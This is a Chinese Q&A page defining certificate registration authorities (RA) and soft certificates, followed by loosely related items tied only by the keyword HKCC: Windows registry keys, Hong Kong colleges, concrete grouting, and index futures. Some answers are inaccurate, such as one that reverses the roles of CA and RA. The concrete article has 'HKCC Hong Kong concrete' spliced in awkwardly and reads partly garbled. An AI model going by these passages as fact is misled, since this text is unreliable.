DNA图谱 / 问答 / 问答详情

什么是软证书 RA

2023-07-20 19:27:30
共5条回复
以心消业

RA就是证书注册审批系统,该系统具有证书的申请、审批、下载、OCSP、LDAP等一系列功能,为整个机构体系提供电子认证服务。

RA作为CA认证体系中的一部分,能够直接从CA提供者那里继承CA认证的合法性。能够使客户以自己的名义发放证书,便于客户开展工作。



数字证书在用户公钥后附加了用户信息及CA的签名。公钥是密钥对的一部分,另一部分是私钥。公钥公之于众,谁都可以使用。私钥只有自己知道。

由公钥加密的信息只能由与之相对应的私钥解密。为确保只有某个人才能阅读自己的信件,发送者要用收件人的公钥加密信件;收件人便可用自己的私钥解密信件。同样,为证实发件人的身份,发送者要用自己的私钥对信件进行签名;收件人可使用发送者的公钥对签名进行验证,以确认发送者的身份。

在线交易中您可使用数字证书验证对方身份。用数字证书加密信息,可以确保只有接收者才能解密、阅读原文,信息在传递过程中的保密性和完整性。有了数字证书网上安全才得以实现,电子邮件、在线交易和信用卡购物的安全才能得到保证。

以上内容参考:百度百科-CA认证

苏萦

RA就是证书注册审批系统,该系统具有证书的申请、审批、下载、OCSP、LDAP等一系列功能,为整个机构体系提供电子认证服务。

RA作为CA认证体系中的一部分,能够直接从CA提供者那里继承CA认证的合法性。能够使客户以自己的名义发放证书,便于客户开展工作。

扩展资料

软证书一般是将文件存放在电脑/移动设备的指定位置里,比如 Windows 会将数字证书存储在注册表(HKLM(HKCC)SoftwareMicrosoftSystemCertificates)和用户配置文件(%USERPROFILE%Application DataMicrosoftSystemCertificatesMy)中。而对应的私钥存处。

软证书是以文件形式保存的,并且可以标记允许再次导出,极易受到木马等攻击。另外,软证书不强制用户设置证书使用口令,其他人登录同一台电脑就可以直接使用。

参考资料来源:百度百科-ra

大鱼炖火锅

RA是证书注册审批系统,该系统具有证书的申请、审批、下载、OCSP、LDAP等一系列功能,为整个机构体系提供电子认证服务。

RA是数字证书认证中心的证书发放、管理的延伸。主要负责证书申请者的信息录入、审核以及证书发放等工作,同时,对发放的证书完成相应的管理功能。发放的数字证书可以存放于IC卡、硬盘或软盘等介质中。RA系统是整个CA中心得以正常运营不可缺少的一部分。

扩展资料:

“双软认证”是指软件产品评估和软件企业评估;企业申请双软认证除了获得软件企业和软件产品的认证资质,同时也是对企业知识产权的一种保护方式,更可以让企业享受国家提供给软件行业的税收优惠政策。

根据国务院最新公布的国发〔2015〕11号文《国务院关于取消和调整一批行政审批项目等事项决定》中,2015年3月15日取消双软认证的行政审批,改为由各省软件行业协会牵头的“双软评估”。

黑桃花

楼上的,你讲的是CA的构造,没说明什么是软证书。数字证书证书从介质上分,有硬证和软证的区别。硬证书是保存在KEY或智能卡里面,生成的证书不能被导出;软证是单纯的一段数字证书链,没有物理介质保存。从安全性上讲,硬证远高于软证。从使用角度上讲,硬证是符合国密要求的。软证不具备。回答完毕。

LuckySXyd

注册中心(RA)是网络中的一个机构,他应该算是是CA(Certification Authority --认证中心)的一部分。他俩的区别在于CA是认证/维护证书,RA是签发证书。也就是ca对数字证书进行管理,ra负责实行操作。没有什么权利。手打哦楼主,给分啊

相关推荐

香港文化中心建筑面积是多少?

香港文化中心(英语:Hong Kong Cultural Centre,缩写HKCC)是香港主要的艺术表演场地之一,位於九龙尖沙咀梳士巴利道,毗邻香港太空馆和香港艺术馆。香港文化中心设有音乐厅、大剧院及剧场三个主要表演场地,提供各式音乐会、歌剧、戏曲、舞蹈及电影等,中心亦设有展览馆、排练室和会议室等。现由康乐及文化事务署管理。香港文化中心1986年9月开始兴建,并於1989年11月8日启用,由政府建筑署负责设计,占地5.2公顷,提供82,231平方米楼面面积。
2023-07-20 11:09:082

74hkcc是什么

“HKCC”是“HongKongCollegeofCardiology”的缩写,意思是“香港心脏专科学院”香港心脏专科学院(HongKongCollegeofCardiology)增进社会对心脏血管及循环系统的认知,提供心血管疾病谘询,定期举办医学讲座及示范以增进学院会员的专业知识。
2023-07-20 11:09:471

hkcc 香港专上学院

以酒店课程来说,理大的中国香港专上学院开设的工商业副学士(酒店及饮食管理)(但如要修读副学士先修课程要多一年)和 IVE (黄克竞)和(柴湾)都有开设与酒店业有关的文凭或高级文凭课程,我不想 hard sell 那一所好那所不好,所以我只提出以下一些条件给你比较一下: 1) 副学士课程比较理论化;高级文凭课程则比较实用。 2) 酒店课程最重要有否设有"实习酒店",我知道 IVE 设有实习酒店,至于中国香港专上学院能否使用理大的实习酒店做实习,则要了解清楚。(中国香港专上学院的网页上写需回国内实习)。 3) 两者的学费及修读年期:IVE 的课程大部分都受 *** 资助,学费较 HKCC 便宜,另外先修课程亦需多读一年,IVE 却没有特别要求。 4) 业界认可:IVE 的课程历史悠久,广为业界及各雇主认可;但 HKCC 的课程较新,业界未必认识和有信心(因无人想做白老鼠,人之常情)。 但酒店行业不是一个非常着重学历的行业,反而很着重经验,我的意思是,就算你酒店管理系大学毕业,你都一样要由低做起,唔好谂住读完酒店管理 degree 就做经理,唔最少做番三五年,都好难上到位,当然仲要睇工作表现啦! 希望帮到你啦!Good Luck 2009-03-23 18:37:19 补充: 其实真系要发掘你o既兴趣是甚么,有甚么理想,这个问题只有你自己才能回答,慢慢想吧! 其实我个人觉得如果预计会考成绩一般,读 IVE 是一个不错的选择,原因是它历史悠久,广为社会各界及雇主(包括 *** )接受,再者 IVE 课程大部份为 *** 资助课程,学费比读副学士课程平宜。 如果真系对酒店业有兴趣,也可以一试,因为中国香港也很看重旅游服务业,做酒店出路不会很差,但就会辛苦一点,不过从另一角度看,辛苦一点即是成长得快一点,其实也是好事! 会 你读完pre asso 可以升返上asso 再升上degree pre asso同asso会有好多实习ge机会 系ive都有实习 但系cc除左必修ge sub外 仲会有其他科比你拣 可以按你ge兴趣黎拣d elective黎读 我系cc读紧asso
2023-07-20 11:09:541

香港理工大学

香港理工大学校训: 开物成务,励学利民现任校长 潘宗光学校类型 政府资助宗教关系 无建立时间 1994年所在地 香港红磡学生数量 22,000教师数量 1,460校园环境 市区校园面积 9.35万平方米香港理工大学(简称理大)座落於油尖旺区畅运道与康庄道交界,邻近红磡海底隧道及九广东铁红磡车站。面积约九点三五万平方米,约有二万二千名全日制和兼读制学生。该校侧重於技术与工程学科的培训,有别於当时唯一的两间走综合型路线的大学(香港大学及香港中文大学)。历史香港理工大学前身为「香港官立高级工业学院」,於1937年成立,旧址於湾仔活道。於1947年,改为「香港工业专门学院」(1970年代亦称「香港工业学院」),提供全日制及兼读课程。1957年,学院迁到红磡现址。1972年8月1日,「香港理工学院」成立,开办技术与实用科目的文凭与高级文凭课程。为当时的中学毕业生,提供升读两间主流大学以外的出路。1994年11月25日,「香港理工学院」正式升格为「香港理工大学」。1999年7月,成立专业进修学院(The School of Professional Education and Executive Development, SPEED),为成年人提供专业进修课程。2000年8月,成立香港网上学府(HKCyberU),为香港首间的网上学府,提供遥距的网上学习课程。2002年,成立香港专上学院(The Hong Kong Community College, HKCC),开办副学士课程。同年10月2日有11,273位大学的师生、校友於香港大球场共同打破了健力士世界人浪彩虹纪录。这亦是为庆祝学校65周年的活动,以及为儿童癌症基金会和香港耆康老人福利会筹款。2004年1月展开第七期及第八期校园发展计划。未来发展2004年1月展开的第七期校舍发展计划(Y座),已经於2005年9月完成。第八期校舍发展计划仍在等待政府拨地。展望未来理工大学将会拆卸该校的教职员宿舍百粹苑,在该宿舍原址兴建一座四星级的教学酒店。该校校长於2005年10月4日表示新的教学酒店大楼预计使1用5亿港元建立,并将於2008年落成。他亦表示该新建的酒店将会为修读酒店管理的学生提供实习的地方,还会用作出出租、研究和教学的用途。教学单位应用科学及纺织学院应用生物及化学科技学系应用数学系应用物理学系纺织及制衣学系工商管理学院工商管理研究院会计及金融学院物流学系管理及市场学系设计及语文学院中文及双语学系英文系设计学院中国语文教学中心英语教学中心通识教育中心建设及地政学院建筑及房地产学系屋宇设备工程学系土木及结构工程学系土地测量及地理资讯学系工程学院电子计算学系电机工程学系电子及资讯工程学系工业及系统工程学系机械工程学系医疗及社会科学院应用社会科学系医疗科技及资讯学系康复治疗科学系护理学院眼科视光学院酒店及旅游业管理学院著名校友电影导演王家卫香港著名歌手梁咏琪香港立法会议员陈婉娴香港立法会议员陈鉴林麦唛原创者麦家碧国际动画设计师许诚毅 2005年度香港小姐冠军叶翠翠香港商业电台DJ阮小仪香港商业电台DJ少爷占大快活快餐集团市场推广部经理郑嘉扬时装设计师及专栏作家邓达智I.T时装集团采购部副经理施俊伟
2023-07-20 11:10:032

hkcc329上市时间

hkcc329上市时间2022年8月5日。hkcgp329q平面上市时间2022年8月5日。在hkcgp329q官网上在7月25日有预告通知上市时间。
2023-07-20 11:10:101

请问香港中文大学有没有副学士?

没有的,我告诉几个有副学士的院校,你做一下参考可以。 一、香港浸会大学——国际学院  副学士课程招生对象:  高中毕业,并持有国家统一高考成绩  经由国际学院评审的其他同等学力  申请人须具备良好的英语水平,并通过以英语进行的入学面试  若申请人英语水平未达到本院要求,须先修读副学士基础课程  升学途径:  1、直升本校本科大二就读  2、选择其他香港的大学  3、直接升读海外大学最后两年,包括28所澳大利亚,新西兰,加拿大,英国和美国的伙伴大学。 二、香港中文大学——东华三院  副学士课程招生对象:  高考成绩达到最低本科录取分数线  英语成绩在95分以上  申请人需要接受面试  申请人之中文及英文程度必须达到一定水平。学院可能会要求申请人需通过英文/中文考试方可获得录取。  若申请人符合入学要求却未能符合语言要求,学院会要求申请人先修读本院之语言课程并取得合格成绩。  升学途径:  1、直升本校本科大一或大二就读  2、选择其他香港的大学  3、报读海外大学(如英国卡迪夫大学,伦敦城市大学)三、香港城市大学——专上学院  副学士课程招生对象:  普通高中毕业生,高考成绩达到本科三线录取分数  高考英语成绩达100分以上 (满分为150)  通过本院以英语为主的面试  本院将按照申请者的高考成绩、英语水平及面试的综合成绩,择优录取  升学途径:  内地同学在本院毕业后可选择赴笈海外留学或留港深造。入读本学院的内地副学士生,毕业后将不能申请留在城市大学继续学士学位课程。为了提供更多的升学机会,学院已跟多所优秀海外大学建立了庞大的联系网络,与约40所海外大学达成相关之升学衔接安排,副学士课程毕业生可前赴英、美、加、澳及日本等五国升学,申请入读第二或第三年的学位衔接课程。四、香港理工学院——专上学院  副学士课程招生对象:  高中毕业 全国高考最少三科(包括英语)之总分取得满意成绩  通过学院之入学面试  升学途径:  HKCC与理工大相关院系和多间本地或海外大学备有衔接协定或安排,成绩优异的毕业生报读这些大学的学士学位课程,如获录取,可申请学分转移或豁免。
2023-07-20 11:10:203

混凝土构件如何抽去混凝土内的水?

我刚刚看到篇文字专门讲如果抽去混凝土内的水 1.分析路面损坏程度 (1)水泥(HKCC)香港混凝土面板唧泥、脱空形成主要的原因唧泥和脱空病害的产生有其内在因素和外界因素:外界的因素则是汽车荷载和气候变化。我国路面基(垫)层材料一般都选用稳定类集料;内在的因素是基层本身的质量、组成以及混凝土面板接缝状况。其模量远小于混凝土面层的模量。水泥(HKCC)香港混凝土路面在重车荷载的反复作用下,板下基(垫)层将产生累积塑性变形,而使混凝土板的局部范围不再与基层保持连续接触,导致于是水泥混凝土路面板底与基(垫)层之间出现了带有微小的空隙,即出现了板底下局部脱空现象,或也可称为原始脱空区。同时温度、湿度的变化,以及底板内温度的非线形分布,会引起底板向上或向下的翘曲现象,从而会加速了基础与板之间的分离,形成板底脱空。脱空的出现又为水的浸入创造了条件,当路面接缝或者裂缝养护不及时,雨水就会从破损处侵入基层裏,从而渗入的水将会在板下形成积水右称自由水。积水与基层材料中的细料会形成泥浆,并沿面板接的缝缝隙处喷溅出来,从而就形成唧泥。唧泥的出现就会进一步的加剧了板底间的脱空的现象。这样周而复始,恶性循环,最终会必定导致路面的损坏现象出现。 (2)脱空底板确定方法。脱空板的确定其实也就是确定需要进行灌浆处治的板块。在我国的交通部行业标准《公路水泥混凝土路面养护技术规范》简称《规范》中已经明确规定水泥(HKCC)香港混凝土面板脱空位置的确定可采用弯沈测定法。因弯沈测定法是测定板角弯沈,所以如果超过某一限定值,即认为存在脱空现象。首先要,选取水泥(HKCC)香港混凝土面板荷载最不利作用情况位置作为检测点,宜选取横缝及纵缝附近的点。从而采用长杆弯沈仪及BZZ-100的两台5.4m标准轴载(後轴轴载为10t)测定车。检测点分副点、主点。主点位于底板横缝前10cm,加卸载。副点则在横缝後10cm,无荷载正常行车方向为前。将一台弯沈仪置于主点,即测定车的轮隙中间;另一台弯沈仪置于副点处。分别测定主、副点弯沈(按前进方向右轮测试)。右轮处于纵缝30cm左右。根据我国公路修建状况和检测仪器的实际情况,有关专家推荐凡弯沈值超过0.2mm的,应确定为面板脱空(详见规范)。本工程项目,采用双指标控制,即主点弯沈大于0.2mm或差异弯沈(主点—副点)大于0.06mm 的,均认为板底可能出现脱空现象,需要进行灌浆处治。 2.灌浆处治技术 (1).灌浆加固机理,在现有混凝土路面设计理论中,我们把(HKCC)香港混凝土板看作是小挠度弹性薄板,其假定条件是面板与地基间的完全接触不脱空。同时混凝的土板是一种准属于脆性的材料,其抗压强度很高、而抗弯拉性能则差。在正常情况下,混凝土的面板均匀支承时,无论是荷载作用位置,应力都是比较小的。一旦脱空的话,板角处因为基础支撑的丧失处于悬臂的状态,板内将产生过大的应力、剪力,混凝土板是会很快的达到极限寿命。水泥混凝土面板灌浆是通过注的浆管,施加一定的压力将浆液均匀注入板底空隙、板下基垫层中,以其充填、渗透、挤密等方式,赶走板底、基层裂隙中的所有积水、空气後占据其位置,在经过人工控制一段时间後,浆液将原来的松散颗粒或裂隙胶结为整体,而形成一个良好的“结石体”。灌浆改善了板底原有受力状态,从而恢复板体与地基的连续性。以达到加固基础,治理病害的目的。 (2).浆液材料的基本要求是常用的水泥浆材料包括:水、外加剂、水泥、粉煤灰等。灌浆处治的效果则是主要取决于灌浆压力大小及和水泥灰浆的强度,浆体制成7.07*7.07*7.07cm 立方体试件,标准养护7d,其抗压强度应达到5MPa 以上。水泥灰浆必须具备有以下特点:施工和易性好,早期强度高,初凝时间长,和凝结後不发生收缩情况,以免再次造成板底空隙。浆液中宜掺加一定量的早强剂和膨胀剂。浆液配合比应通过实验室和试验路段验证确定。本工程选定两种浆液配比为:普通矽酸盐水泥:粉煤灰:水:早强剂:铝粉525# =1:1:1:0.16:0.001及1:0.15:0.5:0.16:0.001,证明,两种配比均比较合适,从试件外观来看,试块的自由表面膨胀鼓起,初凝时间约为2h,7d 抗压强度均达5MPa 以上,满足控制要求。 (3). 灌浆处治的质量控制,应用灌浆处治技术,对压浆实行严格的过程控制是非常重要。前期的全面弯沈检测和施工正式开始间隔时间不能过于太长,并且布孔需要有针对性。在对板块进行压浆时,必须按一定的顺序进行,对每个孔位的压力和时间需要严格把握,达到了不稳定、压力达不到、稳压时间不够都对结果有很大影响。压浆时应制定专用表格,由施工单位安排专门的技术人员对每台压浆机进行全过程监控不得疏忽,并且对每一个孔的压浆时间、稳定压力、最大压力、稳压时间进行详细记录。压浆时,一定要有稳压时间和足够的压力,让浆液充分注入板底。 (4).灌浆处治技术实施。灌浆处治的主要施工工序为这六部:定板、布孔、钻孔、清孔、灌浆、封口。灌浆板块确定後,则进行布孔,一般情况每块板布五孔,四个角孔,一个中央孔,角孔位于板块边缘50至70cm 处。如实测弯沈值较大的话,则将孔数适当增加到七孔或八孔,多出的孔分布在板块靠硬路肩边缘处。灌浆孔大小应和灌注嘴大小一致,一般为5cm 左右。钻孔应按已确定好的孔位提前进行,孔深以穿透板厚为宜,板厚20cm,孔深一般是为23~25cm。灌浆顺序从沈降量大的地方开始,由大到小,由远到近。压注浆液时,应缓慢均匀加压,一般当压力表显示2~3MPa 之间某一值时,应保持稳压状态为2min 以上,让浆液在板底充分流动渗透,以能达到充实和挤密的效果。在将压力稍提升後缓慢降压,在关住枪头处阀门再抽出枪头。压浆完毕後,马上将孔口封住,随後快速清扫路面,养生3d 後,则可以对压浆板块进行再次弯沈检测,如果还有的点弯沈达不到要求,则需要按上述过程重新压浆,但需要注意孔位应与第一次保持一定距离。 (5).灌浆效果的评定。灌浆完成後,应在7d 龄期後,再次进行测量主点弯沈值和副点弯沈值。当主点或差异弯沈值均低于设计要求值时,可认为灌浆效果已经达到。通过灌浆前後的弯沈资料对比,灌浆前数值均大于控制指标,认为板底出现了脱空,需及时灌浆处治,灌浆处治後达到了设计要求。从检测资料可一看出,原混凝土面板通过灌浆提高了板底承载力的。 最後:灌浆处治旧水泥(HKCC)香港混凝土路面早中期破坏与“换板”相比最大的优点就是利用原路面板。其直接成的本随脱空情况及处治目的不同而有不同,一般介于15~35 元/平方米左右。关于“换板”翻修混凝土路面每平方米成本一般需为160~190 元。与後者相比的话,前者可节约成本93%左右。灌浆作为一种治理混凝土路面病害、及时可行的科学养护技术,具有成本低、速度快,操作方便,施工工艺简单,对车的辆行驶影响小等优点。可以在不封闭交通的情况下对单车道进行施工,养生7d即可以通车,适合于路面的养护于维修,特别对于水泥路面的早期损坏处治效果明显。而且由于其处治质量主要控制指标—弯沈与旧板加铺沥青混凝土面层的设计指标相吻合,具有一定的科学性,所以也适用于旧板加罩沥青面层的加固处治。最後在公路施工和养护工程中(HKCC)香港混凝土,具有良好可观的社会效益和经济效益。
2023-07-20 11:10:304

HKEY_LOCAL_MACHINE的介绍

HKEY_LOCAL_MACHINEAppEvents为了以后在客户机上运行客户机/服务器这样的应用程序,在Win95/98中AppEvents键是空的。应用程序实际上都驻留网络服务器上,这些键会保存部分指针。 这个键保存着你计算机上所有不同的硬件设置(这些从控制面板的系统属性中硬件配置文件中可以创建)。这些配置在启动时通常被复制到HKCC。每个配置会被用一个键(比如0001或者0002等等)来保存,每个都是一个独立的配置。如果你只有一个单一的配置,那就只会有0001这个键HKEY_LOCAL_MACHINEConfig001Display这个键表示显示的设置,如荧屏字体,窗体大小,窗体位置和分辨率等一个小技巧:当设置了计算机不支持的大分辨率导致Windows不能启动时(黑屏),可以修改分辨率来解决。进入安全模式,运行regedit.exe,在这个键的Resolution键值中把数据值修改为640,480或者800,600这样的低分辨率,然后重新启动计算机即可。HKEY_LOCAL_MACHINEConfig001System这个键保存着系统里打印机的信息HKEY_LOCAL_MACHINEConfig001SystemCurrentControlSetControlPrintPrinters在这个键下面,有一个键是为系统上每一个打印机设置的,通过控制面板添加和删除打印机会调整这个列表 Enum键包含启动时发现的硬件设备和那些即插即用卡的信息。Win95使用总线列举在启动时通过不同的.ini文件来检测硬件信息。那些在启动时被安装的和被检测到的硬件会显示在这里。子键包括BIOS, ESDI, FLOP, HTREE, ISAPNP, Monitor, Network, Root, SCSI, 和 VIRTUAL。子键名表示它们各自的硬件设备信息。HKEY_LOCAL_MACHINEEnumBIOSBIOS键保存着系统中所有即插即用设备的信息。它们用一套代码数列出,包括每一个键的详细说明,举例,*pnp0400是并行口LPT1的键。如果LPT1并不具备即插即用功能,它就会别列入到Enum下的Root键中HKEY_LOCAL_MACHINEEnumRootRoot键包括所有非即插即用设备的信息。在这里,我们可以迅速断定哪些设备是即插即用,那些不是。比如SCSI适配器,这个设备必须符合Win95中一个键名为ForcedConfig的硬件设置,这个不会改变。HKEY_LOCAL_MACHINEEnumNetworkwin95的网络功能在这个键有详细说明,子键包括了每个已经安装的主要的服务和协议。HKEY_LOCAL_MACHINEHARDWAREhardware子键包括了两个多层的子键:DESCRIPTION键,它包含了中央处理器和一个浮点处理器的信息。还有一个设备映射键,它下面的串行键列出你所有的com端口。这个hardware键仅保存超级终端程序的信息,及数学处理器和串行口。HKEY_LOCAL_MACHINENetwork这个键仅保存网络登陆信息。所有网络服务细节都保存在HKEY_LOCAL_MACHINEEnumNetwork这个键中。这个键有一个子键,logon,包括了lmlogon(本地机器登陆?0=false 1=true)的值,logonvalidated(必须登陆验证),策略处理,主登陆方式(Windows登陆 ,微软网络客户方式等),用户名和用户配置。HKEY_LOCAL_MACHINESECURITYsecurity 有两个子键,第一个是存取(它最终致使一个远程键列出网络安全资源,存取权限等)和提供(包括列出网络地址和地址服务器),这个键被保留用在以后使用高级安全功能和NT兼容性上HKEY_LOCAL_MACHINESOFTWARE这个键列出了所有已安装的32位软件和程序的.ini文件。它包括了变化,依靠软件安装。那些程序的控制功能在这里的子键中列出。多数子键简单的列出了安装软件的版本号。我们在MicrosoftWindowsCurrent Version下发现了一些有意思的设置,它有如下子键:1.App paths: 你曾经安装过的所有32位软件的位置。2.Applets, Compression, Controls Folder : 包括下控制面板象显示属性那样属性条的附件。3.Detect, explorer :很多有意思的子键如Namespace keys of Desktop和My Computer----它们指出了回收站和拨号网络的CLSID行----和提示子键可以让你建立自己的提示。4.Extensions : 一个扩展联系的列表,当前相关联的扩展名和比特定的执行文件更适合的目标类型。5.Fonts, fontsize, FS Templates :系统属性条中所选择文件系统模板, 服务器,桌面计算机或者笔记本电脑信息。6.MS-DOS Emulation :包括一个应用程序兼容子键 为大量过时的程序二进制键所设。7.MS-DOS Options :在dos模式下的设置,如himem.sys,cd-roms等。8.Network :网络驱动的配置。9.Nls, Policies :系统管理员认为你不应该去做的事。10.ProfileList :所有可以登陆你计算机的用户名列表。11.在Windows启动时运行的程序的神秘之处是它们并不在开始菜单的启动文件夹中。它们在HKEY_LOCAL_MACHINEMicrosoftWindowsCurrentVersion下的子键中被执行。 RunOnce : windows初始化时程序在启动时只运行一次,这个经常用在当安装软件之后需要重新启动系统的时候,所以这个键一般都是空的。RunServices : 它就象Run一样,但是包含了“服务”,它不象一般的程序它们是比较重要的或者是“系统”程序。但是它们不是VXDs,就象McAfee或者RegServ工作一样。RunServicesOnce : 它只运行一次,但是是“系统自身”的安装(大量的windows安装参数:通常键值包括了系统目录位置,和win95更新,可选项安装组件,和windows启动目录的子键。注意:在很多黑客木马软件中,常常在这里添加键值(一般是在Run中),这样使得木马软件可以随着windows启动而启动并且很隐秘。在这里可以查看不正常的启动项和去掉无用的运行程序(比如我就很不喜欢超级解霸的自动伺服器,在这里可以去掉它)。12.SharedDLLs:共享DLL的列表,每一个都给出了在一个不可知系统的一个数字等级。13.Shell Extensions:列出了“被认可的”OLE注册条,和相应的CLSID连接。14.ShellScrap :这个包含了一个PriorityCacheformats的子键,它包括了一个空的有限值,它更象过去SmartDrive命令行参数的派生。15.Time Zones : 主键值是你现在的时区;子键定义了所以可能的时区。16.Uninstall:这个保存了程序在添加/删除程序对话框的显示;子键包含了指向反安装程序的路径。和安装向导相似.......)winlogon(包含了合法登陆布告的文本句)HKEY_LOCAL_MACHINESYSTEMCurrentControlSet这个子键包括设备驱动和其他服务的描述和控制。不同于windows nt,win95只包括限制驱动的控制设置信息。HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControl这个子键包括了win95控制面板中的信息。不要编辑这些信息,因为一些小程序的改变在很多地方,一个丢失的项会使这个系统变的不稳定HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices这个键包括了所有win95的标准服务。所有被添加的服务和设备,每个标准的服务键包括了它的设置和辨认设置。HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesArbitratorsatbitrators键包括了当两个设备共同占用同样的设置需要解决的信息。四个子键包括了内存地址,冲突,DMA,I/O端口冲突和IRQ冲突。HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesClassclass键包括了所有win95支持的设备classes控制,这些和你在添加新硬件出现的硬件组很类似,还包括了这些设备如何安装的信息。HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesinetaccs这个键包括了关于这个系统变化的ie附件的可用性,它仅在你安装过ie2。0或者更高版本才出现。HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesMSNP32msnp32描述了客户机如何在microsoft网络中实现功能,它包括了认证过程和认证者的信息。HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNWNP32nenp32键描述了windows客户如何在netware网络中工作功能,它包括了关于认证过程和证明者的信息。HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesRemoteAccess在这个键里包括需要远程工作在win95系统上的信息,有认证参数,主机信息,和为了建立一个拨号连接工作的协议信息。HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSNMP这个键包括了所以snmp(简单网络管理协议)的参数。它包括了允许的管理,配置陷阱,和有效的团体。HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesVxDvxd键包括了win95中所有32位虚拟设备驱动信息,win95自动管理它们,所以不必要用注册表编辑器编辑它们,所以的静态vxds用子键列出。HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWebPostwebpost键包括了所有装载的internet邮局的设置,如果你连接一个isp,并且它列出载这里,你应该给自己选则一个服务器。HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWinsock这个键列出了当连接到internet上winnsock文件的信息,如果列出了不正确的文件,你将不会连接上internet。HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWinTrustwintrust功能是检查从Internet上下载来的文件是否有病毒,它可以确保你得到干净安全的文件。
2023-07-20 11:10:371

hkc支持个人送保吗

支持。HKCC400这个液晶显示器总体来说有好有坏吧。现在其市场价在2499元左右,不同平台或时间可能价格有涨跌。HKCC400的参数主要有这几方面:尺寸为39英寸。耗电功率为≤55W。接口类型为15针D-Sub(VGA)。背光类型为WLED。面板类型为VA。刷新率为60Hz。亮度为250cd/m2。垂直可视角度为178度。屏幕比例为16:9。分辨率为1920×1080。总的来说HKCC400在功耗供电、做工用料、超频潜力等方面也还是不错的。从手稿到工业成品的华丽蜕变,HKC的这款液晶显示器——HKCC400完美诠释了什么叫业界典范与高规制造,个性糟心,独特设计;稳定耐用,终身保固;质量保证,品质如一,性能更稳定。
2023-07-20 11:10:491

恒生指数期货的发展历程

恒生指数期货合约的产生和发展大致可以分为三个阶段,即香港股指期货的产生及其迅猛发展阶段、体制改革阶段及其稳步发展阶段。 第二阶段:香港期货交易所被迫改革。1987年10月,美国股市暴跌引发了全球股灾,香港股市历经四天惨跌,股指期货交易出现严重危机。为了应对当时庞大的保证金不足引发的严重债务风险,特别是为防止日后期货交易可能出现的潜在交割危机,香港期货交易所着手对结算和保证制度进行大刀阔斧改革。香港期货交易所推出股指期货合约时最早结算任务完全是由结算所承担,结算所管辖会员的买卖,并监控会员可能发生的交易风险;而会员则管辖其客户的买卖,负责监控客户交易风险,会员执行结算所的可靠程序,但并不负有履行其保证的功能或义务,即不能保证客户能支付任何未平仓合约保证金。一九八七年十月出现交割危机之后,结算制度的改革要求提上日程。一九八七年十月二十六日,香港期货交易所作出一个拯救期货市场的决定,即由香港政府出资50%,主要银行和经纪出资50%,筹措一笔二十亿元港币的备用贷款给予香港期货保证公司(之后增至港币四十亿元),增强其抗风险能力,保证香港期货交易所所有期货合约的履行。之后,保证公司动用了约二十亿元港币的备用储备来处理未能履行合约经纪会员的十八亿元未平仓合约。但之后政府规定该笔贷款将通过追讨未履行责任会员欠款及期货合约和所有股票交易的特别征费来偿还。通过征收特别征费偿还交割债务,无形中将该笔拯救贷款转嫁到了投资者身上。随后期货交易所继续进行了一系列改革,加强其抗风险能力,并且使其监控市场风险的功能得到加强。改革内容主要有以下三点,其一,将会员分为四种等级,只替自己买卖的经纪划为第一类经纪会员,代表自己及交易所会员客户进行交易的经纪划为第二类经纪会员,代表非会员客户进行交易的经纪划为第三类经纪会员,有包销权的经纪则划为第四类经纪会员。交易所依据承受风险的大小相应提高交易经纪会员的股本要求,通过此次改革,每一类经纪会员被要求对其顾客的财务状况进行不定期监察,且会员还负有承受客户可能拖欠保证金的风险。其二,通过改革成立二亿港币的储备基金,代替以前的保证公司,期交所结算公司可以利用该笔基金直接支付经纪会员拖欠的保证金,及时化解市场交易、交割风险。其三,改革的另一结果是对结算所进行重组。为了更严格地保证经纪会员存放发展按金的安全性和流动性,通过此次重组,将结算公司并为期货交易所的附属公司,完成日常交易和交割的结算任务,更便于期货交易所及时控制风险和应对危机。 为满足对香港股票市场感兴趣的散户投资者的需要,香港期货交易所将于2000年10月9日推出小型恒生指数期货合约(简称“小指”)。这个独特设计的小型恒生指数期货合约,是根据期交所期货合约的指标相关指数,即恒生指数作为买卖基础的。小型期货合约指数的合约乘数每点为港币10.00,或是恒生指数期货合约的五分之一。因此,当恒指期货价格在17,500点水平时,小型恒指期货合约的价值则会是港币175,000.00。和恒生指数期货合约一样,小型恒指期货合约也以现金结算。对于本地一些不想承担太大风险和有做微调对冲需要的散户投资者来说,小型恒指期货将会是他们最佳的投资和管理风险的对冲工具。 1)为散户投资者定身设计小型恒生指数期货一方面有期货合约的好处,另一方面也为不想承担太大风险的投资者设计。他较小的合约价值容许有经验和初入门的投资者,以较小的规模参与包括33支成分股的不同等级表现的指数。2)低成本由于小型恒指期货合约的价值是恒指期货合约的五分之一,其保证金要求以及佣金收费也相对较低。3)保证金抵消小型恒指期货合约与恒指期货合约的保证金可以100%互相抵消,使投资组合更灵活。4)电子化交易平台和交易所的其他产品一样,小型恒指期货合约将采用HKATS电子交易系统买卖。所有买盘和卖盘以价格和时间的优先次序配对成交,买卖盘的买入、卖出价和成交价等资料都即时传送,为客户提供最佳价格。5)结算公司履约保证小型恒指期货合约由期货交易所拥有全部资本的香港期货结算有限公司(HKCC)登记、结算和提供履约保证。香港结算公司作为所有未平仓合约的对手,将有效的去除结算公司参与者的风险。这保证不会推及到结算公司参与者对他的客户的财务责任。因此当投资者选择经纪进行买卖时应该小心谨慎。 小型恒生指数期货 (小型期指)期指均是以恒生指数为买卖基础的期货合约,两者不同之处在于每一「点子」的现金价值。期指每点相对的现金价值为50元,小型期指每点现金价值则为10元,而小型期指的按金水平亦为期指的五分之一。既然小型期指的合约价值比期指低,杠杆比率也相对较低?虽然投资一张小型期指的按金金额只是期指的五分之一,但由于两者均以恒生指数为买卖基础,所以其实它们的波幅和杠杆比率是一样的。举例,9月份小型期指的结算价为12,163,小型期指合约的价值便是121,630元(12,163x10元)。由于按金只是7,625元,杠杆比率为16.0倍。至于期指合约,9月份合约结算价亦为12,163,价值便是608,150元 